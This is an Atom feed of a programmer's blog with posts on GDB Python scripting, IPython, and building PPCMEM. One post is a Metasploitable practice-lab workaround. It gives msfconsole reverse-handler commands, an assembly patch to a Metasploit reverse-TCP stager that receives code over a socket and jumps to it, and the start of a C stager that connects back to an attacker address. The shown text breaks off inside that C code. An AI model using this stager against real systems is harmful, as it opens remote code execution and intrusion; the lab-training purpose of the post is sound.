<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;D0IHRXk4cSp7ImA9WhRaFE8.&quot;"><id>tag:blogger.com,1999:blog-8159065303739257757</id><updated>2012-02-17T04:52:14.739+08:00</updated><category term="arm" /><category term="google-app-engine" /><category term="board-support-package" /><category term="embedded" /><category term="file_offset_bits" /><category term="vi" /><category term="gdb" /><category term="usb" /><category term="security" /><category term="mkdosfs" /><category term="memory_model" /><category term="x86" /><category term="fedora" /><category term="getline" /><category term="metasploit" /><category term="wireshark" /><category term="concurrency" /><category term="ipython" /><category term="firefox" /><category term="mozrunner" /><category term="android" /><category term="posix" /><category term="windmill" /><category term="python" /><category term="ppc" /><category term="armmem" /><category term="kernel" /><category term="linux-tutorial" /><category term="qemu" /><category term="gcc" /><category term="x86_64" /><category term="kgdb" /><category term="multilib" /><category term="eclipse" /><category term="testing" /><category term="ftrace" /><category term="c++" /><category term="ppcmem" /><category term="google" /><category term="large_file_support" /><title>Scott Tsai's blog</title><subtitle type="html" /><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://blog.scottt.tw/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://blog.scottt.tw/" /><author><name>Scott Tsai</name><uri>https://profiles.google.com/100338462782014493617</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-wxnuCTGuLd0/AAAAAAAAAAI/AAAAAAAAAAA/UqPzl0LjY6o/s512-c/photo.jpg" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>14</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/ScottTsaisBlog" /><feedburner:info uri="scotttsaisblog" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;A08FR34-fip7ImA9WhRbFUg.&quot;"><id>tag:blogger.com,1999:blog-8159065303739257757.post-5552874856426338220</id><published>2012-02-07T03:52:00.001+08:00</published><updated>2012-02-07T04:23:36.056+08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-02-07T04:23:36.056+08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="python" /><category scheme="http://www.blogger.com/atom/ns#" term="gdb" /><title>Backporting "watch -l" from GDB 7.4+ using Python</title><content type="html">&lt;p&gt;&lt;a href="http://sourceware.org/git/?p=gdb.git;a=blob;f=gdb/NEWS;hb=HEAD "&gt; GDB 7.4&lt;/a&gt; added a very useful &lt;strong&gt;"-l / -location"&lt;/strong&gt; option to the "&lt;strong&gt;watch &lt;/strong&gt;&lt;em&gt;expr&lt;/em&gt;" command[1]:
&lt;/p&gt;&lt;p&gt;
"Ordinarily a watchpoint respects the scope of variables in &lt;em&gt;expr&lt;/em&gt;. The -location argument tells gdb to instead watch the memory referred to by &lt;em&gt;expr&lt;/em&gt;. In this case, gdb will evaluate &lt;em&gt;expr&lt;/em&gt;, take the address of the result, and watch the memory at that address.".
&lt;/p&gt;&lt;p&gt;
i.e. If you do &lt;strong&gt;"watch p-&amp;gt;field_that_gets_corrupted"&lt;/strong&gt; the watch point will get deleted when local variable &lt;strong&gt;p&lt;/strong&gt; goes out of scope while &lt;strong&gt;"watch -l"&lt;/strong&gt; works the way you want.
&lt;/p&gt;&lt;p&gt;
For those stuck using GDB 7.2 (as shipped in Ubuntu 11.04) the following GDB Python script (&lt;a href="https://github.com/scottt/scottt-gdb/blob/master/gdb-watch-location.py "&gt; gdb-watch-location.py&lt;/a&gt;) might help:&lt;/p&gt;&lt;pre class="brush: python" class="prettyprint"&gt;import gdb

def _watch_location(expr, watch_point_class):
    l = gdb.parse_and_eval(expr).address
    wp_str = '*(%(type)s)(%(address)s)' % dict(type=l.type,
                                               address=l)
    gdb.Breakpoint(wp_str, gdb.BP_WATCHPOINT, watch_point_class)

class _WatchLocationCommand(gdb.Command):
    'Like "watch -l" in gdb 7.4+'
    def __init__(self):
        gdb.Command.__init__(self, 'watch-l',
                             gdb.COMMAND_BREAKPOINTS,
                             gdb.COMPLETE_SYMBOL)

    def invoke(self, arg, from_tty):
        _watch_location(arg, gdb.WP_WRITE)

class _RWatchLocationCommand(gdb.Command):
    'Like "rwatch -l" in gdb 7.4+'
    ...

class _AWatchLocationCommand(gdb.Command):
    'Like "awatch -l" in gdb 7.4+'
    ...

_WatchLocationCommand()
_RWatchLocationCommand()
_AWatchLocationCommand()
&lt;/pre&gt;&lt;p&gt;
Suppose you're working with the following C code snippet:&lt;/p&gt;&lt;pre class="brush: c" class="prettyprint"&gt;struct bag {
        int a, b;
};

static void bag_poke(struct bag *p)
{
        p-&amp;gt;a = 1;
}
&lt;/pre&gt;&lt;p&gt;Here's how gdb-watch-locations.py works:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt; In _watch_location(), we call &lt;a href="http://sourceware.org/gdb/onlinedocs/gdb/Basic-Python.html#index-gdb_002eparse_005fand_005feval-1645 "&gt; gdb.parse_and_eval()&lt;/a&gt; to turn an expression into a &lt;a href="http://sourceware.org/gdb/onlinedocs/gdb/Values-From-Inferior.html "&gt;gdb.Value&lt;/a&gt;:&lt;/li&gt;
&lt;/ul&gt;&lt;pre class="prettyprint"&gt;In [1]: gdb.parse_and_eval('p-&amp;gt;a')
Out[1]: &amp;lt;gdb.Value at 0x294a070&amp;gt;
&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt; A &lt;strong&gt;gdb.Value&lt;/strong&gt; has a &lt;strong&gt;type&lt;/strong&gt; and an &lt;strong&gt;address&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;pre class="prettyprint"&gt;In [2]: v = gdb.parse_and_eval('p-&amp;gt;a')

In [3]: print v.type, v.address
int 0x7fffffffdc30
&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt; We use that to create a GDB watchpoint expression which we later pass to &lt;strong&gt;gdb.Breakpoint&lt;/strong&gt;:&lt;/li&gt;
&lt;/ul&gt;&lt;pre class="prettyprint"&gt;In [4]: '*(%(type)s)(%(address)s)' % dict(type=v.address.type, address=v.address)
u'*(int *)(0x7fffffffdc30)'
&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt; The code then adds three new GDB commands: &lt;strong&gt;"watch-l"&lt;/strong&gt;, &lt;strong&gt;"rwatch-l"&lt;/strong&gt; and &lt;strong&gt;"awatch-l"&lt;/strong&gt;. Tells GDB that they should be classified as breakpoint commands in the online help system and use symbols for TAB completion.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;
Sample session:&lt;/p&gt;&lt;pre class="brush: shell" class="prettyprint"&gt;$ gdb -x gdb-watch-locations.py data-access
(gdb) break bag_poke
Breakpoint 1 at 0x40050c: file data-access.c, line 9.
(gdb) run
Starting program: /home/scottt/work/scottt-gdb/data-access 

Breakpoint 1, bag_poke (p=0x7fffffffdc40) at data-access.c:9
9  p-&amp;gt;a = 1;
(gdb) wa
watch    watch-l  
(gdb) watch-l p-&amp;gt;a
Hardware watchpoint 2: *(int *)(0x7fffffffdc40)
(gdb) continue 
Continuing.
Hardware watchpoint 2: *(int *)(0x7fffffffdc40)

Old value = 0
New value = 1
bag_poke (p=0x7fffffffdc40) at data-access.c:10
10 }

&lt;/pre&gt;&lt;h2&gt;See Also&lt;/h2&gt;&lt;ul&gt;&lt;li&gt; &lt;a href="http://sourceware.org/gdb/onlinedocs/gdb/Set-Watchpoints.html "&gt; GDB Manual: Setting Watchpoints&lt;/a&gt; [1]&lt;/li&gt;
&lt;li&gt; &lt;a href="http://stackoverflow.com/questions/1354637/watchpoint-in-gdb/7269569#7269569 "&gt; Stackoverflow: watchpoint in GDB&lt;/a&gt;&lt;/li&gt;
&lt;li&gt; &lt;a href="https://github.com/scottt/scottt-gdb"&gt;https://github.com/scottt/scottt-gdb&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8159065303739257757-5552874856426338220?l=blog.scottt.tw' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/ScottTsaisBlog/~4/57wHGhwE_mc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.scottt.tw/feeds/5552874856426338220/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.scottt.tw/2012/02/backporting-l-from-gdb-74-using-python.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/5552874856426338220?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/5552874856426338220?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ScottTsaisBlog/~3/57wHGhwE_mc/backporting-l-from-gdb-74-using-python.html" title="Backporting &amp;quot;watch -l&amp;quot; from GDB 7.4+ using Python" /><author><name>Scott Tsai</name><uri>https://profiles.google.com/100338462782014493617</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-wxnuCTGuLd0/AAAAAAAAAAI/AAAAAAAAAAA/UqPzl0LjY6o/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.scottt.tw/2012/02/backporting-l-from-gdb-74-using-python.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ak8ERH4_eCp7ImA9WhRbFUg.&quot;"><id>tag:blogger.com,1999:blog-8159065303739257757.post-1624853160447106057</id><published>2012-01-31T05:10:00.001+08:00</published><updated>2012-02-07T04:06:45.040+08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-02-07T04:06:45.040+08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ipython" /><category scheme="http://www.blogger.com/atom/ns#" term="python" /><category scheme="http://www.blogger.com/atom/ns#" term="gdb" /><title>Exploring the Gdb Python API with IPython</title><content type="html">&lt;h1&gt;Exploring the Gdb Python API with IPython&lt;/h1&gt;&lt;p&gt;I've found a way to explore &lt;a href="http://sourceware.org/gdb/onlinedocs/gdb/Python-API.html#Python-API "&gt; GDB's nice Python API&lt;/a&gt; in a comfortable programming environment with Python name completion by using &lt;a href="http://ipython.org/"&gt;IPython&lt;/a&gt;.
&lt;/p&gt;&lt;p&gt;
Save the following content in &lt;b&gt;$HOME/bin/gdbipy&lt;/b&gt;:&lt;/p&gt;&lt;pre class="brush: python" class="prettyprint"&gt;#!/usr/bin/gdb --python
# vim: set filetype=python:

from IPython.zmq.ipkernel import IPKernelApp

app = IPKernelApp.instance()
app.initialize([])
app.start()
&lt;/pre&gt;
&lt;p&gt;
Running gdbipy would start an ipython "kernel" within the gdb process:&lt;/p&gt;&lt;pre  class="brush: shell" class="prettyprint"&gt;$ chmod +x ~/bin/gdbipy
$ gdbipy 
[IPKernelApp] To connect another client to this kernel, use:
[IPKernelApp] --existing kernel-23135.json
&lt;/pre&gt;&lt;p&gt;
In another terminal, run:&lt;/p&gt;&lt;pre class="brush: shell" class="prettyprint"&gt;$ ipython console --existing kernel-23135.json

In [1]: import gdb

In [2]: gdb.&amp;lt;TAB&amp;gt;
Display all 166 possibilities? (y or n)
gdb.ARCH_FRAME                   gdb.SYMBOL_LOC_REGPARM_ADDR
gdb.BP_ACCESS_WATCHPOINT         gdb.SYMBOL_LOC_STATIC
gdb.BP_BREAKPOINT                gdb.SYMBOL_LOC_TYPEDEF
...
&lt;/pre&gt;&lt;p&gt;You can quit the ipython console and restart it at anytime without losing state.
&lt;/p&gt;&lt;p&gt;
Here's an example session:&lt;/p&gt;&lt;pre class="brush: shell" class="prettyprint"&gt;$ ipython console --existing kernel-23735.json

In [2]: gdb.execute('file /bin/cat')

In [3]: gdb.execute('start')

In [4]: o = gdb.execute('disassemble exit', to_string=True); print o
Dump of assembler code for function __GI_exit:
   0x0000003c902399a0 &amp;lt;+0&amp;gt;: lea    0x375cc1(%rip),%rsi        # 0x3c905af668 &amp;lt;__exit_funcs&amp;gt;
   0x0000003c902399a7 &amp;lt;+7&amp;gt;: sub    $0x8,%rsp
   0x0000003c902399ab &amp;lt;+11&amp;gt;: mov    $0x1,%edx
   0x0000003c902399b0 &amp;lt;+16&amp;gt;: callq  0x3c902398a0 &amp;lt;__run_exit_handlers&amp;gt;
End of assembler dump.

In [5]: print gdb.parse_and_eval('main').type
int (int, char **)
&lt;/pre&gt;&lt;p&gt;Having an interactive Python environment with name completion makes exploring and learning the &lt;a href="http://sourceware.org/gdb/onlinedocs/gdb/Values-From-Inferior.html#Values-From-Inferior "&gt;gdb.Value API&lt;/a&gt; quite a bit easier.
&lt;/p&gt;&lt;p&gt;
The reason we need to run &lt;b&gt;"ipython console"&lt;/b&gt; in a separate process from GDB is so that the two don't fight over the terminal settings. You can experience what that's like by changing the content of the &lt;b&gt;gdbipy&lt;/b&gt; script to just &lt;b&gt;"import IPython; IPython.embed()"&lt;/b&gt; which embeds an IPython read-eval-print loop in-process. The result is partially &lt;a href="http://www.cygwin.com/ml/gdb/2011-07/msg00010.html"&gt;garbled terminal output and non functional TAB completion&lt;/a&gt;. The two process IPython console solution presented requires IPython 0.12+ and works out of the box on Fedora 16.
&lt;/p&gt;&lt;h2&gt;See Also&lt;/h2&gt;&lt;ul&gt;&lt;li&gt; &lt;a href="http://itrs.tw/wiki/GDB#Python_Scripting "&gt; GDB Python scripts I've found on the net&lt;/a&gt;&lt;/li&gt;
&lt;li&gt; (VIDEO) &lt;a href="http://blip.tv/pycon-us-videos-2009-2010-2011/pycon-2011-using-python-to-debug-c-and-c-code-using-gdb-4895525 "&gt;PyCon 2011: Using Python to debug C and C++ code (using gdb) by David Malcolm&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;b&gt;Update Feb 2&lt;/b&gt;: changed IPython version requirement from 0.11 to 0.12. After Paul Ivanov pointed it out in the comments.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8159065303739257757-1624853160447106057?l=blog.scottt.tw' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/ScottTsaisBlog/~4/tFo7FH8QkA8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.scottt.tw/feeds/1624853160447106057/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.scottt.tw/2012/01/exploring-gdb-python-api-with-ipython_31.html#comment-form" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/1624853160447106057?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/1624853160447106057?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ScottTsaisBlog/~3/tFo7FH8QkA8/exploring-gdb-python-api-with-ipython_31.html" title="Exploring the Gdb Python API with IPython" /><author><name>Scott Tsai</name><uri>https://profiles.google.com/100338462782014493617</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-wxnuCTGuLd0/AAAAAAAAAAI/AAAAAAAAAAA/UqPzl0LjY6o/s512-c/photo.jpg" /></author><thr:total>2</thr:total><feedburner:origLink>http://blog.scottt.tw/2012/01/exploring-gdb-python-api-with-ipython_31.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0QGQX0ycSp7ImA9WhRQE0g.&quot;"><id>tag:blogger.com,1999:blog-8159065303739257757.post-5792659172896785644</id><published>2011-12-08T17:42:00.001+08:00</published><updated>2011-12-08T21:35:20.399+08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-08T21:35:20.399+08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="armmem" /><category scheme="http://www.blogger.com/atom/ns#" term="arm" /><category scheme="http://www.blogger.com/atom/ns#" term="memory_model" /><category scheme="http://www.blogger.com/atom/ns#" term="ppc" /><category scheme="http://www.blogger.com/atom/ns#" term="ppcmem" /><category scheme="http://www.blogger.com/atom/ns#" term="concurrency" /><title>Compiling the web interface of PPCMEM/ARMMEM</title><content type="html">&lt;div class="c3"&gt;
lwn.net just published &lt;span class="c0"&gt;&lt;a class="c6" href="http://lwn.net/Articles/470681/"&gt;an article by Paul McKenney&lt;/a&gt;&lt;/span&gt;&amp;nbsp;introducing &lt;a class="c6" href="http://www.cl.cam.ac.uk/~pes20/ppcmem/help.html"&gt;PPCMEM/ARMMEM&lt;/a&gt;. I downloaded and fixed up the source a bit to make it possible to build the web interface locally and &lt;span class="c0"&gt;&lt;a class="c6" href="https://github.com/scottt/ppcmem"&gt;uploaded it on github&lt;/a&gt;&lt;/span&gt;.&lt;/div&gt;&lt;/br&gt;
&lt;div class="c2"&gt;
&lt;/div&gt;
&lt;div class="c3"&gt;
PPCMEM is implemented in Ocaml (the authors are from INRIA and the University of Cambridge) with two user interfaces on top: a curses interface and a web interface. The web interface is implemented by compiling the core Ocaml code into Javascript and adding a bit of hand written Javascript, CSS and HTML. All the heavy computation is done in the browser.&lt;/div&gt;
&lt;div class="c2"&gt;
&lt;/div&gt;
&lt;div class="c3"&gt;&lt;/br&gt;

Web interface build dependencies:&lt;/div&gt;
&lt;div class="c3"&gt;
Since Fedora doesn't have &lt;span class="c0"&gt;&lt;a class="c6" href="http://ocsigen.org/js_of_ocaml/"&gt;js_of_ocaml&lt;/a&gt;&lt;/span&gt;&amp;nbsp;packaged and &lt;span class="c0"&gt;&lt;a class="c6" href="https://bugzilla.redhat.com/show_bug.cgi?id=761325"&gt;the ocaml-lwt package it comes with is too old&lt;/a&gt;&lt;/span&gt;. It's easier to install a separate Ocaml stack:&lt;/div&gt;
&lt;ol class="c4" start="1"&gt;
&lt;li class="c5 c3"&gt;&lt;span class="c1"&gt;yum-builddep ocaml-lwt&lt;/span&gt;&lt;/li&gt;
&lt;li class="c5 c3"&gt;Install the &lt;span class="c0"&gt;&lt;a class="c6" href="http://godi.camlcity.org/godi/get_godi.html"&gt;GODI Ocaml source distribution&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class="c5 c3"&gt;Setup a &lt;span class="c0"&gt;&lt;a class="c6" href="http://devel.grenouille.com/coregrenouille/wiki/GODI%20LOCALPATCHES"&gt;LOCALPATCHES directory for GODI&lt;/a&gt;&lt;/span&gt;&amp;nbsp;and put this &lt;span class="c0"&gt;&lt;a class="c6" href="http://people.grenouille.com/~fraggle/patches/godi/godi/godi-lwt/patch-01-libev-2.3.0"&gt;patch-01-libev-2.3.0&lt;/a&gt;&lt;/span&gt;&amp;nbsp;under &lt;span class="c1"&gt;/opt/godi/localpatches/godi/godi-lwt&lt;/span&gt;&lt;/li&gt;
&lt;li class="c5 c3"&gt;&lt;span class="c1"&gt;export PATH=/opt/godi/bin:$PATH&lt;/span&gt;&lt;/li&gt;
&lt;li class="c5 c3"&gt;&lt;span class="c1"&gt;godi_console&lt;/span&gt;&amp;nbsp;-&amp;gt; Select &lt;span class="c1"&gt;godi_jsofcaml&lt;/span&gt;&amp;nbsp;-&amp;gt; godi will automatically download and build the dependencies&lt;/li&gt;
&lt;/ol&gt;On a Debian and friends, &lt;span class="c1"&gt;apt-get install js-of-ocaml&lt;/span&gt;&amp;nbsp;should be enough.&lt;/br&gt;

&lt;div class="c3"&gt;
Building and launching the web interface:&lt;/div&gt;
&lt;div class="c3"&gt;
&lt;span class="c1"&gt;export JSLIBDIR=/opt/godi/lib/ocaml/pkg-lib/js_of_ocaml&lt;/span&gt;&lt;/div&gt;
&lt;div class="c3"&gt;
&lt;span class="c1"&gt;export JSBINDIR=/opt/godi/bin&lt;/span&gt;&lt;/div&gt;
&lt;div class="c3"&gt;
# to use the js-of-caml packaged on Debian:&lt;/div&gt;
&lt;div class="c3"&gt;
# export JSLIBDIR=/usr/lib/ocaml/js_of_ocaml&lt;/div&gt;
&lt;div class="c3"&gt;
# export JSBINDIR=/usr/bin&lt;/div&gt;
&lt;div class="c3"&gt;
&lt;span class="c1"&gt;make TARGET=js JSLIBDIR=$JSLIBDIR JSBINDIR=$JSBINDIR depend_js jquery-1.6.1.js js&lt;/span&gt;&lt;/div&gt;
&lt;div class="c3"&gt;
&lt;span class="c1"&gt;./pcmem-web&lt;/span&gt;&lt;/div&gt;
&lt;div class="c2"&gt;
&lt;/div&gt;
&lt;div class="c3"&gt;&lt;/br&gt;

My modifications to the &lt;span class="c0"&gt;&lt;a class="c6" href="http://www.cl.cam.ac.uk/~pes20/ppcmem/ppcmem-tarball.tar.gz"&gt;ppcmem-tarball.tar.gz&lt;/a&gt;&lt;/span&gt;&amp;nbsp;tarball include:&lt;/div&gt;
&lt;ol class="c4" start="1"&gt;
&lt;li class="c5 c3"&gt;Retrieved ARM tests under &lt;span class="c1"&gt;src-arm/&lt;/span&gt;&amp;nbsp;and the missing web UI files &lt;span class="c1"&gt;url.js&lt;/span&gt;, &lt;span class="c1"&gt;handler.js&lt;/span&gt;&amp;nbsp;and &lt;span class="c1"&gt;help.html&lt;/span&gt;&amp;nbsp;from &lt;span class="c0"&gt;&lt;a class="c6" href="http://www.cl.cam.ac.uk/~pes20/ppcmem/"&gt;professor Peter Sewell's personal web directory&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class="c3 c5"&gt;Wrote a new simple server side component to serve the static files (&lt;span class="c1"&gt;&lt;a href="https://github.com/scottt/ppcmem/blob/master/ppcmem-web"&gt;ppcmem-web&lt;/a&gt;&lt;/span&gt;)&lt;/li&gt;
&lt;li class="c5 c3"&gt;The original Makefile assumed that js_of_ocaml/ is placed under ppcmem/ (yet doesn't bundle it, which is good ...). I added external js_of_ocaml support in an ugly hack.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="c2"&gt;
&lt;/div&gt;&lt;/br&gt;

&lt;div class="c3"&gt;
Licensing wise, most of the code base in under 3 clause BSD with two modulers lincensed under LGPL plus linking exceptions. So it looks like there's nothing stopping Linux distributions from packaging this.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8159065303739257757-5792659172896785644?l=blog.scottt.tw' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/ScottTsaisBlog/~4/U3J6yGCaTuY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.scottt.tw/feeds/5792659172896785644/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.scottt.tw/2011/12/compiling-web-interface-of-ppcmemarmmem.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/5792659172896785644?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/5792659172896785644?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ScottTsaisBlog/~3/U3J6yGCaTuY/compiling-web-interface-of-ppcmemarmmem.html" title="Compiling the web interface of PPCMEM/ARMMEM" /><author><name>Scott Tsai</name><uri>https://profiles.google.com/100338462782014493617</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-wxnuCTGuLd0/AAAAAAAAAAI/AAAAAAAAAAA/UqPzl0LjY6o/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.scottt.tw/2011/12/compiling-web-interface-of-ppcmemarmmem.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0YAR3c_fyp7ImA9WhZQEUs.&quot;"><id>tag:blogger.com,1999:blog-8159065303739257757.post-2720869637864143080</id><published>2011-04-18T18:47:00.016+08:00</published><updated>2011-04-19T06:19:06.947+08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-04-19T06:19:06.947+08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="x86" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="metasploit" /><title>Metasploitable meterpreter SEGFAULT workaround</title><content type="html">If you’re using &lt;a href="http://blog.metasploit.com/2010/05/introducing-metasploitable.html"&gt;Metasploitable&lt;/a&gt; (a VM designed to be easy to pwn) to practice your &lt;strike&gt;system cracking&lt;/strike&gt; penetration testing skills and find that the linux/x86/meterpreter/reverse_tcp payloads doesn't seem to work, here’s a workaround:&lt;br /&gt;&lt;ol&gt; &lt;li&gt;Download and extract &lt;a href="http://scottt.tw/linux-x86-meterpreter/con-recv-jmp.tar.bz2"&gt;con-recv-jmp.tar.bz2&lt;/a&gt;.&lt;li&gt;Edit LHOST, LPORT in &lt;a href="http://scottt.tw/linux-x86-meterpreter/con-recv-jmp.c"&gt;con-recv-jmp.c&lt;/a&gt; and run “make” to build the code.&lt;/li&gt;&lt;ul&gt;&lt;li&gt;The makefile uses “execstack -s” to mark con-recv-jmp as requiring an executable stack.&lt;/li&gt;&lt;li&gt;“execstack” is in the preflink package in Fedora.&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;In msfconsole:&lt;pre&gt;&lt;br /&gt;msf &amp;gt; use exploit/multi/handler&lt;br /&gt;msf exploit(handler) &amp;gt; set LHOST 192.168.1.110&lt;br /&gt;msf exploit(handler) &amp;gt; exploit&lt;br /&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;Copy con-recv-jmp to your Metasploitable VM and run it.&lt;/li&gt;&lt;br /&gt;You should now be getting meterpreter sessions.&lt;br /&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;For a more minimal change, the &lt;a href="http://scottt.tw/linux-x86-meterpreter/stager_sock_reverse.asm"&gt;stager_sock_reverse.asm&lt;/a&gt; in the tarball contains this patch:&lt;br /&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="gd"&gt;--- stager_sock_reverse.asm 2011-04-18 19:42:29.408172423 +0800&lt;/span&gt;&lt;br /&gt;&lt;span class="gi"&gt;+++ con-recv-jmp/stager_sock_reverse.asm 2011-04-18 19:30:56.192643320 +0800&lt;/span&gt;&lt;br /&gt;&lt;span class="gu"&gt;@@ -66,7 +66,7 @@&lt;/span&gt;&lt;br /&gt; recv:&lt;br /&gt;  pop  ebx&lt;br /&gt;  cdq&lt;br /&gt;&lt;span class="gd"&gt;- mov  dh, 0xc&lt;/span&gt;&lt;br /&gt;&lt;span class="gi"&gt;+ mov  dl, 0x64&lt;/span&gt;&lt;br /&gt;  mov  al, 0x3&lt;br /&gt;  int  0x80&lt;br /&gt;  jmp  ecx&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;The snippet above is issuing a &lt;a href="http://www.kernel.org/doc/man-pages/online/pages/man2/read.2.html"&gt;read(2) system call&lt;/a&gt;, where %edx holds the number of bytes to read. The original code tries to read 0x0c * 256 = 3072 bytes which causes the read syscall to fail with -EFAULT on the 2.6.24-16-server kernel in Metasploitable. Even with the patch, you still must use: "setarch i386 -X ./stager_sock_reverse" to run the stager as it &lt;a href="http://dev.metasploit.com/redmine/issues/3038"&gt;requires an executable stack&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://scottt.tw/linux-x86-meterpreter/con-recv-jmp.c"&gt;con-recv-jmp.c&lt;/a&gt;  (functionally equivalent to a patched &lt;a href="http://www.metasploit.com/svn/framework3/trunk/external/source/shellcode/linux/ia32/stager_sock_reverse.asm"&gt;stager_sock_reverse.asm&lt;/a&gt; in Metasploit) is pretty trivial:&lt;br /&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="cp"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="cp"&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="cp"&gt;#include &amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="cp"&gt;#include &amp;lt;strings.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="cp"&gt;#include &amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="cp"&gt;#include &amp;lt;sys/types.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="cp"&gt;#include &amp;lt;sys/socket.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="cp"&gt;#include &amp;lt;netinet/in.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="cp"&gt;#include &amp;lt;errno.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="cp"&gt;#include &amp;lt;arpa/inet.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="cp"&gt;#define LHOST &amp;quot;192.168.1.110&amp;quot;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="k"&gt;enum&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;br /&gt; &lt;span 